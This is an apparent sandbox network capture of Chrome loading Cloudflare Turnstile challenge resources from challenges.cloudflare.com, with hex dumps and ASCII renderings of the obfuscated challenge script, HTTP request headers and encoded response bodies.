2024-10-07 19:53:10 UTC	1369	IN	Data Raw: 6b 5f 72 65 70 6f 72 74 5f 6f 75 74 70 75 74 5f 73 75 62 74 69 74 6c 65 22 3a 22 59 6f 75 72 20 66 65 65 64 62 61 63 6b 20 72 65 70 6f 72 74 20 68 61 73 20 62 65 65 6e 20 73 75 63 63 65 73 73 66 75 6c 6c 79 20 73 75 62 6d 69 74 74 65 64 22 2c 22 74 75 72 6e 73 74 69 6c 65 5f 66 65 65 64 62 61 63 6b 5f 72 65 70 6f 72 74 22 3a 22 48 61 76 69 6e 67 25 32 30 74 72 6f 75 62 6c 65 25 33 46 22 2c 22 74 75 72 6e 73 74 69 6c 65 5f 65 78 70 69 72 65 64 22 3a 22 45 78 70 69 72 65 64 22 2c 22 6f 75 74 64 61 74 65 64 5f 62 72 6f 77 73 65 72 22 3a 22 59 6f 75 72 25 32 30 62 72 6f 77 73 65 72 25 32 30 69 73 25 32 30 6f 75 74 25 32 30 6f 66 25 32 30 64 61 74 65 2e 25 32 30 55 70 64 61 74 65 25 32 30 79 6f 75 72 25 32 30 62 72 6f 77 73 65 72 25 32 30 74 6f 25 32 30 76 69 Data Ascii: k_report_output_subtitle":"Your feedback report has been successfully submitted","turnstile_feedback_report":"Having%20trouble%3F","turnstile_expired":"Expired","outdated_browser":"Your%20browser%20is%20out%20of%20date.%20Update%20your%20browser%20to%20vi
2024-10-07 19:53:10 UTC	1369	IN	Data Raw: 74 28 67 48 28 36 32 30 29 29 2f 31 31 29 2c 66 3d 3d 3d 64 29 62 72 65 61 6b 3b 65 6c 73 65 20 65 2e 70 75 73 68 28 65 2e 73 68 69 66 74 28 29 29 7d 63 61 74 63 68 28 67 29 7b 65 2e 70 75 73 68 28 65 2e 73 68 69 66 74 28 29 29 7d 7d 28 61 2c 32 31 36 30 33 30 29 2c 65 4d 3d 74 68 69 73 7c 7c 73 65 6c 66 2c 65 4e 3d 65 4d 5b 67 49 28 34 38 31 29 5d 2c 65 4f 3d 66 75 6e 63 74 69 6f 6e 28 63 2c 67 4a 2c 66 2c 67 2c 68 2c 69 2c 6a 2c 6b 29 7b 66 6f 72 28 67 4a 3d 67 49 2c 66 3d 7b 27 4d 78 71 6c 48 27 3a 66 75 6e 63 74 69 6f 6e 28 6c 2c 6d 29 7b 72 65 74 75 72 6e 20 6c 2b 6d 7d 2c 27 47 4d 75 5a 4c 27 3a 66 75 6e 63 74 69 6f 6e 28 6c 2c 6d 29 7b 72 65 74 75 72 6e 20 6c 28 6d 29 7d 2c 27 4b 55 41 6f 72 27 3a 66 75 6e 63 74 69 6f 6e 28 6c 2c 6d 29 7b 72 65 74 Data Ascii: t(gH(620))/11),f===d)break;else e.push(e.shift())}catch(g){e.push(e.shift())}}(a,216030),eM=this\|\|self,eN=eM[gI(481)],eO=function(c,gJ,f,g,h,i,j,k){for(gJ=gI,f={'MxqlH':function(l,m){return l+m},'GMuZL':function(l,m){return l(m)},'KUAor':function(l,m){ret
2024-10-07 19:53:10 UTC	1369	IN	Data Raw: 70 59 4c 56 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 69 3d 3d 68 7d 2c 27 74 62 6b 45 79 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 28 69 29 7d 2c 27 6b 4c 70 76 77 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 7c 69 7d 2c 27 65 65 41 41 56 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 3c 3c 69 7d 2c 27 47 73 64 4c 41 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 2d 69 7d 2c 27 43 43 57 79 50 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 28 69 29 7d 2c 27 64 6a 74 61 65 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 3c 69 7d 2c 27 4e 70 42 4e 67 27 3a 66 75 6e 63 74 69 6f Data Ascii: pYLV':function(h,i){return i==h},'tbkEy':function(h,i){return h(i)},'kLpvw':function(h,i){return h\|i},'eeAAV':function(h,i){return h<<i},'GsdLA':function(h,i){return h-i},'CCWyP':function(h,i){return h(i)},'djtae':function(h,i){return h<i},'NpBNg':functio
2024-10-07 19:53:10 UTC	1369	IN	Data Raw: 64 28 34 33 39 29 5d 28 49 2c 64 5b 68 64 28 31 33 33 36 29 5d 28 6a 2c 31 29 29 3f 28 49 3d 30 2c 47 5b 68 64 28 31 30 32 34 29 5d 28 64 5b 68 64 28 36 37 39 29 5d 28 6f 2c 48 29 29 2c 48 3d 30 29 3a 49 2b 2b 2c 73 2b 2b 29 3b 66 6f 72 28 4f 3d 43 5b 68 64 28 31 34 32 35 29 5d 28 30 29 2c 73 3d 30 3b 64 5b 68 64 28 38 32 35 29 5d 28 38 2c 73 29 3b 48 3d 64 5b 68 64 28 31 31 39 35 29 5d 28 48 2c 31 29 7c 31 2e 31 35 26 4f 2c 64 5b 68 64 28 31 31 35 39 29 5d 28 49 2c 64 5b 68 64 28 31 30 37 33 29 5d 28 6a 2c 31 29 29 3f 28 49 3d 30 2c 47 5b 68 64 28 31 30 32 34 29 5d 28 64 5b 68 64 28 36 37 39 29 5d 28 6f 2c 48 29 29 2c 48 3d 30 29 3a 49 2b 2b 2c 4f 3e 3e 3d 31 2c 73 2b 2b 29 3b 7d 65 6c 73 65 7b 66 6f 72 28 4f 3d 31 2c 73 3d 30 3b 73 3c 46 3b 48 3d 64 5b Data Ascii: d(439)](I,d[hd(1336)](j,1))?(I=0,G[hd(1024)](d[hd(679)](o,H)),H=0):I++,s++);for(O=C[hd(1425)](0),s=0;d[hd(825)](8,s);H=d[hd(1195)](H,1)\|1.15&O,d[hd(1159)](I,d[hd(1073)](j,1))?(I=0,G[hd(1024)](d[hd(679)](o,H)),H=0):I++,O>>=1,s++);}else{for(O=1,s=0;s<F;H=d[
2024-10-07 19:53:10 UTC	1369	IN	Data Raw: 31 2e 36 36 26 4f 29 2c 6a 2d 31 3d 3d 49 3f 28 49 3d 30 2c 47 5b 68 64 28 31 30 32 34 29 5d 28 6f 28 48 29 29 2c 48 3d 30 29 3a 49 2b 2b 2c 4f 3e 3e 3d 31 2c 73 2b 2b 29 3b 44 2d 2d 2c 44 3d 3d 30 26 26 46 2b 2b 7d 66 6f 72 28 4f 3d 32 2c 73 3d 30 3b 73 3c 46 3b 48 3d 31 26 4f 7c 48 3c 3c 31 2c 64 5b 68 64 28 31 33 33 35 29 5d 28 49 2c 6a 2d 31 29 3f 28 49 3d 30 2c 47 5b 68 64 28 31 30 32 34 29 5d 28 6f 28 48 29 29 2c 48 3d 30 29 3a 49 2b 2b 2c 4f 3e 3e 3d 31 2c 73 2b 2b 29 3b 66 6f 72 28 3b 3b 29 69 66 28 48 3c 3c 3d 31 2c 49 3d 3d 6a 2d 31 29 7b 47 5b 68 64 28 31 30 32 34 29 5d 28 64 5b 68 64 28 35 33 31 29 5d 28 6f 2c 48 29 29 3b 62 72 65 61 6b 7d 65 6c 73 65 20 49 2b 2b 3b 72 65 74 75 72 6e 20 47 5b 68 64 28 31 33 36 36 29 5d 28 27 27 29 7d 2c 27 6a Data Ascii: 1.66&O),j-1==I?(I=0,G[hd(1024)](o(H)),H=0):I++,O>>=1,s++);D--,D==0&&F++}for(O=2,s=0;s<F;H=1&O\|H<<1,d[hd(1335)](I,j-1)?(I=0,G[hd(1024)](o(H)),H=0):I++,O>>=1,s++);for(;;)if(H<<=1,I==j-1){G[hd(1024)](d[hd(531)](o,H));break}else I++;return G[hd(1366)]('')},'j
2024-10-07 19:53:10 UTC	1369	IN	Data Raw: 30 2c 48 29 26 26 28 48 3d 6a 2c 47 3d 64 5b 68 67 28 37 37 38 29 5d 28 6f 2c 49 2b 2b 29 29 2c 4a 7c 3d 64 5b 68 67 28 31 34 36 37 29 5d 28 64 5b 68 67 28 31 33 36 30 29 5d 28 30 2c 4e 29 3f 31 3a 30 2c 46 29 2c 46 3c 3c 3d 31 29 3b 73 5b 42 2b 2b 5d 3d 65 28 4a 29 2c 4f 3d 42 2d 31 2c 78 2d 2d 3b 62 72 65 61 6b 3b 63 61 73 65 20 31 3a 66 6f 72 28 4a 3d 30 2c 4b 3d 4d 61 74 68 5b 68 67 28 34 33 33 29 5d 28 32 2c 31 36 29 2c 46 3d 31 3b 4b 21 3d 46 3b 4e 3d 47 26 48 2c 48 3e 3e 3d 31 2c 64 5b 68 67 28 31 34 34 37 29 5d 28 30 2c 48 29 26 26 28 48 3d 6a 2c 47 3d 6f 28 49 2b 2b 29 29 2c 4a 7c 3d 64 5b 68 67 28 33 36 36 29 5d 28 30 3c 4e 3f 31 3a 30 2c 46 29 2c 46 3c 3c 3d 31 29 3b 73 5b 42 2b 2b 5d 3d 65 28 4a 29 2c 4f 3d 42 2d 31 2c 78 2d 2d 3b 62 72 65 61 Data Ascii: 0,H)&&(H=j,G=d[hg(778)](o,I++)),J\|=d[hg(1467)](d[hg(1360)](0,N)?1:0,F),F<<=1);s[B++]=e(J),O=B-1,x--;break;case 1:for(J=0,K=Math[hg(433)](2,16),F=1;K!=F;N=G&H,H>>=1,d[hg(1447)](0,H)&&(H=j,G=o(I++)),J\|=d[hg(366)](0<N?1:0,F),F<<=1);s[B++]=e(J),O=B-1,x--;brea
2024-10-07 19:53:10 UTC	1369	IN	Data Raw: 5d 28 29 2c 48 3d 30 3b 48 3c 47 5b 69 38 28 39 37 37 29 5d 3b 47 5b 48 5d 3d 3d 3d 47 5b 48 2b 31 5d 3f 47 5b 69 38 28 37 34 39 29 5d 28 48 2b 31 2c 31 29 3a 48 2b 3d 31 29 3b 72 65 74 75 72 6e 20 47 7d 28 78 29 2c 42 3d 27 6e 41 73 41 61 41 62 27 2e 73 70 6c 69 74 28 27 41 27 29 2c 42 3d 42 5b 69 36 28 35 38 30 29 5d 5b 69 36 28 31 31 36 33 29 5d 28 42 29 2c 43 3d 30 3b 6f 5b 69 36 28 38 38 35 29 5d 28 43 2c 78 5b 69 36 28 39 37 37 29 5d 29 3b 44 3d 78 5b 43 5d 2c 45 3d 66 7a 28 67 2c 68 2c 44 29 2c 42 28 45 29 3f 28 46 3d 45 3d 3d 3d 27 73 27 26 26 21 67 5b 69 36 28 36 34 37 29 5d 28 68 5b 44 5d 29 2c 6f 5b 69 36 28 31 31 31 31 29 5d 28 6f 5b 69 36 28 31 35 36 34 29 5d 2c 6f 5b 69 36 28 31 32 33 31 29 5d 28 69 2c 44 29 29 3f 73 28 69 2b 44 2c 45 29 3a Data Ascii: ](),H=0;H<G[i8(977)];G[H]===G[H+1]?G[i8(749)](H+1,1):H+=1);return G}(x),B='nAsAaAb'.split('A'),B=B[i6(580)][i6(1163)](B),C=0;o[i6(885)](C,x[i6(977)]);D=x[C],E=fz(g,h,D),B(E)?(F=E==='s'&&!g[i6(647)](h[D]),o[i6(1111)](o[i6(1564)],o[i6(1231)](i,D))?s(i+D,E):
2024-10-07 19:53:10 UTC	1369	IN	Data Raw: 32 32 30 2c 74 68 69 73 2e 67 29 5d 5b 30 5d 2b 2b 29 26 32 35 35 2e 33 5e 36 31 2e 37 36 5e 74 68 69 73 2e 67 5d 2c 6f 5b 73 5d 3d 74 68 69 73 2e 68 5b 69 5b 69 39 28 31 34 32 30 29 5d 28 69 5b 69 39 28 33 35 38 29 5d 28 74 68 69 73 2e 68 5b 32 32 30 5e 74 68 69 73 2e 67 5d 5b 33 5d 2c 69 5b 69 39 28 38 36 36 29 5d 28 32 31 30 2b 74 68 69 73 2e 68 5b 32 32 30 2e 33 34 5e 74 68 69 73 2e 67 5d 5b 31 5d 5b 69 39 28 31 34 32 35 29 5d 28 74 68 69 73 2e 68 5b 74 68 69 73 2e 67 5e 32 32 30 5d 5b 30 5d 2b 2b 29 2c 32 35 35 29 29 5e 31 33 39 2c 74 68 69 73 2e 67 29 5d 3b 65 6c 73 65 20 69 66 28 6c 3d 6a 5b 6b 5d 2c 69 5b 69 39 28 31 31 36 30 29 5d 28 27 66 27 2c 6c 29 26 26 28 6c 3d 27 4e 27 29 2c 67 5b 6c 5d 29 7b 66 6f 72 28 6d 3d 30 3b 6d 3c 68 5b 6a 5b 6b 5d Data Ascii: 220,this.g)][0]++)&255.3^61.76^this.g],o[s]=this.h[i[i9(1420)](i[i9(358)](this.h[220^this.g][3],i[i9(866)](210+this.h[220.34^this.g][1][i9(1425)](this.h[this.g^220][0]++),255))^139,this.g)];else if(l=j[k],i[i9(1160)]('f',l)&&(l='N'),g[l]){for(m=0;m<h[j[k]
2024-10-07 19:53:10 UTC	1369	IN	Data Raw: 36 38 34 29 5d 5b 69 63 28 34 31 37 29 5d 29 2c 6f 3d 7b 7d 2c 6f 5b 69 63 28 31 36 35 32 29 5d 3d 65 4d 5b 69 63 28 31 36 38 34 29 5d 5b 69 63 28 31 36 35 32 29 5d 2c 6f 5b 69 63 28 37 30 34 29 5d 3d 65 4d 5b 69 63 28 31 36 38 34 29 5d 5b 69 63 28 37 30 34 29 5d 2c 6f 5b 69 63 28 39 35 32 29 5d 3d 65 4d 5b 69 63 28 31 36 38 34 29 5d 5b 69 63 28 39 35 32 29 5d 2c 73 3d 6f 2c 78 3d 6e 65 77 20 65 4d 5b 28 69 63 28 31 31 35 35 29 29 5d 28 29 2c 21 78 29 72 65 74 75 72 6e 3b 42 3d 69 63 28 31 33 39 39 29 2c 78 5b 69 63 28 31 36 34 35 29 5d 28 42 2c 6e 2c 21 21 5b 5d 29 2c 78 5b 69 63 28 31 32 32 35 29 5d 3d 32 35 30 30 2c 78 5b 69 63 28 31 31 31 36 29 5d 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 7d 2c 78 5b 69 63 28 31 35 35 32 29 5d 28 69 63 28 38 38 37 29 2c 69 Data Ascii: 684)][ic(417)]),o={},o[ic(1652)]=eM[ic(1684)][ic(1652)],o[ic(704)]=eM[ic(1684)][ic(704)],o[ic(952)]=eM[ic(1684)][ic(952)],s=o,x=new eM[(ic(1155))](),!x)return;B=ic(1399),x[ic(1645)](B,n,!![]),x[ic(1225)]=2500,x[ic(1116)]=function(){},x[ic(1552)](ic(887),i

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
32	192.168.2.5	49760	104.18.94.41	443	7544	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-07 19:53:10 UTC	438	OUT	GET /cdn-cgi/challenge-platform/h/g/cmg/1/wh0E0SXYnx6pTBdJW%2Fl926I%2BPRUplRdtQz3K9lHXs%2Fs%3D HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-07 19:53:10 UTC	210	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 19:53:10 GMT Content-Type: image/png Content-Length: 61 Connection: close cache-control: max-age=2629800, public Server: cloudflare CF-RAY: 8cf06f929c498c96-EWR
2024-10-07 19:53:10 UTC	61	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 02 00 00 00 02 08 02 00 00 00 fd d4 9a 73 00 00 00 04 49 44 41 54 00 00 00 01 9d 24 d7 91 00 00 00 00 49 45 4e 44 ae 42 60 82 Data Ascii: PNGIHDRsIDAT$IENDB`

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
33	192.168.2.5	49761	104.18.94.41	443	7544	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-07 19:53:10 UTC	924	OUT	POST /cdn-cgi/challenge-platform/h/g/flow/ov1/43059607:1728329420:dJcmetAgVMGocae_3f1dALRtljbtG0HRRs5hSvYZXJY/8cf06f880e728cca/3da04d461641d1a HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive Content-Length: 2752 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Content-type: application/x-www-form-urlencoded sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 CF-Challenge: 3da04d461641d1a sec-ch-ua-platform: "Windows" Accept: / Origin: https://challenges.cloudflare.com Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/turnstile/if/ov2/av0/rcv0/0/gsyrn/0x4AAAAAAAiGphmB8-NjCTqR/auto/fbE/normal/auto/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-07 19:53:10 UTC	2752	OUT	Data Raw: 76 5f 38 63 66 30 36 66 38 38 30 65 37 32 38 63 63 61 3d 43 57 54 31 7a 31 76 31 57 31 47 31 77 30 52 42 30 52 61 31 30 79 6e 74 33 6b 30 46 52 33 52 4f 65 79 36 24 34 52 58 38 4b 52 34 34 30 53 52 63 52 50 79 46 74 6d 34 52 4d 52 36 31 38 57 57 52 78 72 6d 33 34 52 75 52 53 34 6e 65 5a 67 47 79 39 52 43 52 52 39 57 52 63 31 52 57 6d 52 66 31 76 65 52 69 31 33 72 53 72 73 74 31 6b 31 45 52 43 34 6e 6a 6f 65 74 48 57 66 2d 52 33 4f 71 73 59 48 65 57 30 37 5a 59 6c 34 6e 4f 66 30 52 6e 38 52 2d 63 50 38 44 33 4c 5a 25 32 62 6d 47 39 45 2b 31 4d 44 6e 72 57 30 31 66 43 44 34 66 6c 66 31 63 38 43 79 39 52 30 41 34 52 72 73 4f 52 38 73 24 6d 53 52 52 7a 52 36 69 2d 33 66 65 58 43 63 34 4e 52 33 24 52 43 79 52 50 42 31 52 6f 4a 45 4f 52 69 34 52 4b 66 31 52 4c Data Ascii: v_8cf06f880e728cca=CWT1z1v1W1G1w0RB0Ra10ynt3k0FR3ROey6$4RX8KR440SRcRPyFtm4RMR618WWRxrm34RuRS4neZgGy9RCRR9WRc1RWmRf1veRi13rSrst1k1ERC4njoetHWf-R3OqsYHeW07ZYl4nOf0Rn8R-cP8D3LZ%2bmG9E+1MDnrW01fCD4flf1c8Cy9R0A4RrsOR8s$mSRRzR6i-3feXCc4NR3$RCyRPB1RoJEORi4RKf1RL
2024-10-07 19:53:11 UTC	717	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 19:53:10 GMT Content-Type: text/plain; charset=UTF-8 Content-Length: 152140 Connection: close cf-chl-gen: 9r+jKpotfmQrUaWaWfEG5Baame3qhELDVKnI0n9IN/SskKMWTev8kus0u2qc3Y//iMQT8F4YqLU5smvcwmq1h0MuXDcO9TlaXLd0XKPr2FJU+SlH29/klEGKln7clAUIshu7DFBjfDMouIsZlnWqLmi4HeC9Vrm3of3oIP5qx+dffFq5q5YSeJUZHneo5x6cL1ntDIMxuYLgF8LCZV47NwIbs6Ly/a0wJ+0wx1u5qmRtBIgw81d6Ke95BEa2ztAWAH92X2p1yJQVVSHEYQq2/5/7hEhrrgGe1kGvyYhT9BOH/aRnrO2lOiTzuWK7WB8BeQYOLCqBAuZivPGi4FZyKZB+E9NBJzYX1fQfsAU9+86KLXMlTJ065ZBxfFt3LcV/iavFKHlaOnWSwVS4zc5T0PTRtZXz5jwZyt8GC3ZZxXOqr98erFHT4zipYN7sRh7R04DnaZzBu42+O5jYGjT7Cd1xXTafCKSOyNNAGe5b+vF09ME=$h992PNjJPG4DoBN9 Server: cloudflare CF-RAY: 8cf06f92fd00c46b-EWR
2024-10-07 19:53:11 UTC	652	IN	Data Raw: 67 32 61 55 67 49 70 79 63 6e 70 70 64 70 79 57 62 33 4a 5a 65 36 42 6a 6f 33 65 63 6e 4b 4b 67 70 4b 31 67 62 59 6d 4c 63 61 2b 4a 66 32 36 45 6a 5a 71 61 6e 4c 4f 47 6d 72 32 56 73 6e 69 78 6a 6f 4f 34 79 4d 69 69 74 4d 53 6b 6d 4b 62 4f 6f 71 4f 75 73 38 2f 4e 6b 38 4c 4e 70 73 4c 49 75 34 2f 4a 75 5a 65 32 74 64 62 6c 75 38 57 37 6f 4b 6d 31 31 4b 62 48 32 74 36 37 77 74 76 42 36 4f 36 75 31 75 37 36 34 76 54 56 7a 38 79 33 2f 50 6e 51 75 2f 33 59 30 50 59 44 38 2b 58 62 43 65 6f 45 35 50 41 4e 36 65 72 4c 36 2b 33 75 7a 78 55 51 31 77 38 4e 48 51 6e 62 32 67 2f 38 49 79 45 49 4a 79 4d 61 4b 66 58 6c 48 51 59 70 48 65 63 4a 42 53 4d 47 42 51 59 6e 39 41 51 63 4b 67 30 36 39 7a 45 73 50 42 6f 78 50 7a 34 55 2b 6b 51 4a 51 68 6b 6c 51 43 4d 69 53 69 42 Data Ascii: g2aUgIpycnppdpyWb3JZe6Bjo3ecnKKgpK1gbYmLca+Jf26EjZqanLOGmr2VsnixjoO4yMiitMSkmKbOoqOus8/Nk8LNpsLIu4/JuZe2tdblu8W7oKm11KbH2t67wtvB6O6u1u764vTVz8y3/PnQu/3Y0PYD8+XbCeoE5PAN6erL6+3uzxUQ1w8NHQnb2g/8IyEIJyMaKfXlHQYpHecJBSMGBQYn9AQcKg069zEsPBoxPz4U+kQJQhklQCMiSiB
2024-10-07 19:53:11 UTC	1369	IN	Data Raw: 50 6b 71 41 64 56 68 63 59 48 6c 77 69 56 36 4c 66 55 70 66 67 34 4e 34 6a 30 32 4c 6a 6f 36 56 6a 31 4e 36 68 35 4a 53 6d 6c 71 4d 57 70 79 57 64 33 69 59 59 5a 71 54 69 57 43 70 61 6d 32 5a 72 49 43 68 72 59 4b 67 70 71 75 76 62 72 71 6b 71 36 6d 6e 65 59 69 52 6e 58 74 37 65 73 61 7a 6e 37 62 45 74 49 69 36 77 62 65 73 69 39 47 4a 71 4d 2b 39 6a 37 54 4e 75 72 4b 6f 71 62 66 64 6d 39 48 55 31 72 33 59 77 4c 61 76 6f 39 71 36 78 37 2f 4f 76 62 7a 64 33 4d 36 74 76 73 4f 75 79 73 6a 72 39 65 62 46 38 62 44 67 30 4d 33 67 39 4d 2f 54 30 38 48 5a 2b 38 6a 63 31 67 4c 68 37 4f 48 64 42 41 48 63 34 2f 49 4a 36 67 7a 75 44 2b 63 53 43 42 2f 79 37 64 33 61 37 69 63 52 42 50 67 47 4a 69 51 4e 42 65 51 44 4b 53 49 4e 44 67 77 65 4e 77 30 4e 4c 79 63 51 45 76 30 Data Ascii: PkqAdVhcYHlwiV6LfUpfg4N4j02Ljo6Vj1N6h5JSmlqMWpyWd3iYYZqTiWCpam2ZrIChrYKgpquvbrqkq6mneYiRnXt7esazn7bEtIi6wbesi9GJqM+9j7TNurKoqbfdm9HU1r3YwLavo9q6x7/Ovbzd3M6tvsOuysjr9ebF8bDg0M3g9M/T08HZ+8jc1gLh7OHdBAHc4/IJ6gzuD+cSCB/y7d3a7icRBPgGJiQNBeQDKSINDgweNw0NLycQEv0
2024-10-07 19:53:11 UTC	1369	IN	Data Raw: 47 46 56 67 34 56 7a 52 59 64 45 65 31 78 62 54 47 52 4e 67 56 42 69 63 32 6c 30 57 6d 31 73 56 6e 75 57 61 57 2b 44 62 6e 61 57 62 35 74 7a 58 33 74 31 59 6d 57 74 70 33 6c 37 66 71 32 76 66 58 61 79 63 35 47 32 64 59 79 72 72 6e 64 2f 76 35 42 31 6f 34 32 75 68 62 47 68 74 6f 71 6e 75 36 69 4c 77 71 75 39 74 4b 4b 78 77 4e 57 56 77 71 57 61 31 4c 48 63 78 37 4b 2f 76 38 33 4f 32 39 36 33 30 71 4f 6a 75 4e 69 74 71 38 33 70 33 4d 2f 66 35 65 57 77 74 2b 4c 6f 74 4b 33 48 39 4c 62 55 32 4d 38 43 2b 50 59 43 42 72 37 6b 42 39 37 2b 76 76 66 41 37 41 6e 51 33 2f 49 45 41 73 67 50 45 4e 6a 54 46 51 73 4b 47 74 38 58 34 42 66 65 46 76 6a 30 42 68 38 6b 48 43 58 70 35 78 44 36 41 53 72 38 4b 41 4d 4b 37 44 50 76 45 79 6b 35 4c 7a 73 36 44 7a 30 56 4e 7a 6b 35 Data Ascii: GFVg4VzRYdEe1xbTGRNgVBic2l0Wm1sVnuWaW+DbnaWb5tzX3t1YmWtp3l7fq2vfXayc5G2dYyrrnd/v5B1o42uhbGhtoqnu6iLwqu9tKKxwNWVwqWa1LHcx7K/v83O29630qOjuNitq83p3M/f5eWwt+LotK3H9LbU2M8C+PYCBr7kB97+vvfA7AnQ3/IEAsgPENjTFQsKGt8X4BfeFvj0Bh8kHCXp5xD6ASr8KAMK7DPvEyk5Lzs6Dz0VNzk5
2024-10-07 19:53:11 UTC	1369	IN	Data Raw: 70 37 54 46 70 4c 51 34 53 49 58 56 4b 48 6c 59 64 54 59 6c 53 4c 57 33 70 39 61 5a 65 67 63 56 36 41 67 70 4b 62 66 4a 4b 66 6f 34 43 57 66 5a 47 6b 6a 59 43 42 71 70 65 71 68 5a 69 72 6d 4b 65 51 6d 59 32 68 6d 70 32 52 6f 61 61 6e 75 70 57 63 70 5a 72 43 70 6f 62 47 6d 4d 54 43 6b 49 75 53 30 35 57 54 70 71 37 4b 75 34 2f 4c 77 4d 33 61 76 71 2b 2b 7a 73 61 7a 34 65 4f 6c 36 37 6a 74 36 63 76 6b 34 2b 58 72 39 4d 6a 71 37 50 54 50 77 75 33 57 78 63 62 35 32 76 54 36 32 76 33 7a 77 66 76 78 30 67 72 5a 34 63 7a 4c 79 75 54 65 30 68 49 47 44 4e 50 4a 7a 74 50 5a 38 77 66 74 39 2f 44 76 47 64 34 4e 45 51 41 62 46 76 67 69 2b 4f 6a 37 44 4f 77 52 48 2f 41 4b 49 44 58 79 44 6a 45 54 38 66 59 64 4e 7a 55 79 43 2f 63 61 44 77 34 5a 48 6b 67 55 49 43 55 45 46 Data Ascii: p7TFpLQ4SIXVKHlYdTYlSLW3p9aZegcV6AgpKbfJKfo4CWfZGkjYCBqpeqhZirmKeQmY2hmp2RoaanupWcpZrCpobGmMTCkIuS05WTpq7Ku4/LwM3avq++zsaz4eOl67jt6cvk4+Xr9Mjq7PTPwu3Wxcb52vT62v3zwfvx0grZ4czLyuTe0hIGDNPJztPZ8wft9/DvGd4NEQAbFvgi+Oj7DOwRH/AKIDXyDjET8fYdNzUyC/caDw4ZHkgUICUEF
2024-10-07 19:53:11 UTC	1369	IN	Data Raw: 41 52 6e 4e 71 67 47 4e 51 5a 34 6d 64 56 5a 35 65 6c 6f 32 58 63 58 4e 76 70 6e 56 33 70 71 47 63 59 6e 57 4f 62 70 68 77 6b 34 79 77 72 49 53 46 6a 49 64 30 69 4c 57 63 66 62 43 4f 76 35 61 35 6d 37 4b 67 68 34 57 69 6e 70 61 30 7a 71 50 50 76 73 72 4c 77 39 43 6d 30 4c 4b 52 30 36 4b 35 72 61 58 59 34 4a 65 33 6f 4a 36 38 73 64 2b 67 34 63 6a 53 32 73 4b 6b 71 65 4c 50 34 62 44 47 71 37 4c 79 7a 72 4c 35 36 4f 66 33 38 65 37 65 36 4d 37 39 30 67 48 59 2f 66 47 36 32 77 44 37 2f 63 6e 65 36 2f 6a 4a 37 41 7a 47 46 52 55 51 36 74 45 58 42 65 72 7a 33 75 76 39 32 4f 6f 55 45 4f 30 67 4b 65 45 47 4a 75 6f 48 4c 78 34 66 36 69 33 36 38 51 4c 77 4b 41 45 79 4e 51 62 32 4b 76 63 75 46 76 6f 37 2b 42 6c 47 41 41 62 35 52 69 49 32 43 55 6f 4f 4f 79 45 66 43 69 Data Ascii: ARnNqgGNQZ4mdVZ5elo2XcXNvpnV3pqGcYnWObphwk4ywrISFjId0iLWcfbCOv5a5m7Kgh4Winpa0zqPPvsrLw9Cm0LKR06K5raXY4Je3oJ68sd+g4cjS2sKkqeLP4bDGq7LyzrL56Of38e7e6M790gHY/fG62wD7/cne6/jJ7AzGFRUQ6tEXBerz3uv92OoUEO0gKeEGJuoHLx4f6i368QLwKAEyNQb2KvcuFvo7+BlGAAb5RiI2CUoOOyEfCi
2024-10-07 19:53:11 UTC	1369	IN	Data Raw: 65 33 42 30 6a 6e 35 30 65 6d 42 7a 6e 70 57 66 66 5a 47 52 67 4a 52 37 6c 59 4f 6f 6e 34 71 71 61 59 47 64 72 71 69 6c 6b 5a 47 4f 6a 35 79 56 71 4c 4f 62 77 4c 53 56 70 5a 4b 42 76 4b 62 47 6b 70 61 30 71 63 32 6d 68 36 76 42 6e 39 57 6f 6f 38 50 49 6c 73 79 34 6b 39 6d 70 79 72 62 68 32 73 47 74 73 36 4c 41 70 62 75 6c 78 63 47 66 7a 64 66 69 75 39 37 62 73 75 69 79 36 75 66 52 73 36 33 47 74 4d 6d 34 7a 4d 33 74 32 2b 38 46 39 4e 58 41 78 76 50 49 2b 74 37 5a 36 39 34 52 36 4e 4c 38 46 68 45 43 42 65 55 4c 31 52 67 66 48 75 76 77 37 42 34 56 2b 74 38 55 46 53 55 72 47 79 77 42 35 76 6b 66 4a 75 67 30 42 43 6f 45 43 54 6b 6f 4b 44 41 73 47 41 73 39 50 53 30 63 44 6b 49 50 46 44 6f 55 47 68 67 48 49 69 77 46 4a 6b 74 4b 52 69 42 56 54 51 38 32 52 54 4e Data Ascii: 